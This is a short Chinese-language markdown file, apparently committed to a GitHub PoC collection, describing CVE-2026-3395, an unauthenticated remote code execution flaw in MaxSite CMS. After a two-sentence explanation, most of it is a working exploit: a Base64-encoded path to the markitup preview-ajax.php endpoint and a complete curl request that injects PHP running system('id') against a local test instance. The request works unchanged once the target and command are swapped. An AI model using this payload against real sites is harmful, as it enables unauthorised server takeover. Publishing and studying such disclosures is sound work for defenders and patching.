Update MaxSite CMS未授权RCE漏洞.md

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Rainyseason authored and GitHub committed 2026-03-12 10:04:17 +08:00
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## MaxSite CMS未授权RCE漏洞
## 介绍
CVE-2026-3395 漏洞会影响 MaxSite CMS,允许未经身份验证的用户访问管理 AJAX 端点。run_php启用该插件后,用户输入可以通过 CMS 钩子系统被解析为 PHP 代码,这可能导致远程代码执行 (RCE)。
## poc
#Base64编码:
admin/plugins/editor_markitup/preview-ajax.php
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"